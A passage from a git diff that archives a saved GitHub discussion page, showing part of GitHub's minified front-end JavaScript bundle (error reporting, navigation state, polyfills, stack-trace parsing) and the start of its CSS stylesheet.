0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar 